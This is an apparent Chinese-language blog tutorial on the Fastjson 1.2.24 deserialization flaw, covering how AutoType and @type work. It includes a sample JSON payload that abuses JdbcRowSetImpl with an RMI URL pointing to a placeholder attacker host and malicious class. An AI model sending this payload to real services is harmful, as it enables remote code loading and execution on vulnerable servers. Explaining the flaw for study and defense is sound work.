当前位置: 首页 > article >正文

fastjson漏洞

fastjson漏洞

  • fastjson工作原理
  • 攻击原理
    • 补充
  • 例子

fastjson工作原理

fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用==@type==标记字符的原始类型,在反序列话时会读取@type以此把内容反序列化到对象,在上述过程中会调用到库中的setter和getter方法

攻击原理

攻击者传入一个恶意构造的json内容,程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数,进而促使恶意代码执行
合理构造一个JSON使用@type指定一个想要攻击的类库就可以实现攻击

补充

仅影响Fastjson1.2.24及之前版本

例子


{
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://攻击者的IP地址/恶意类",
    "autoCommit": true
  }
  • JSON 数据包:这里展示的 JSON 数据包包含一个名为 b 的对象,其中有一个 @type 字段,指定了这个对象的类型为
    com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。
  • 恶意数据:在 dataSourceName 字段中,提供了一个远程方法调用 (RMI) 的 URL,指向攻击者的 IP
    地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。
  • 自动提交:autoCommit 字段被设置为 true,表明在反序列化后自动执行某些操作。

http://www.kler.cn/a/576688.html

相关文章:

  • 更强的蛋白质突变效应预测!一键推理 DePLM 去噪蛋白质语言模型
  • MySQL DDL数据定义语句
  • Qt 实现抽屉效果实例
  • 用python做一个简单的可以调用手机摄像头进行车牌识别的H5页面
  • 数据中心精密配电监控:安科瑞精密配电监控解决方案破解高能耗与低效率困局
  • 联核科技AGV无人叉车的应用场景有哪些?
  • STM32 ADC模数转换
  • HTML:Web 开发的基石
  • AGI 之 【Dify】 之 使用 Docker 在 Windows 端本地部署 Dify 大语言模型(LLM)应用开发平台
  • 基于 Docker 的跨平台镜像构建与增量更新实战指南
  • 网络安全 信息安全 计算机系统安全
  • AI Agent 分类详解:从反射 Agent 到学习型 Agent 的演进
  • 企业大模型需求全景图:SFT、RAG与RL的协同与博弈
  • Golang的微服务服务发现机制
  • Vue 3 整合 WangEditor 富文本编辑器:从基础到高级实践
  • linux-git
  • React基础之类组件
  • QT——线程
  • 移动云服务器 linux contos8 ping baidu.com 通,但是ping www.baidu.com 不通,ping 域名也通
  • 简洁实用的3个免费wordpress主题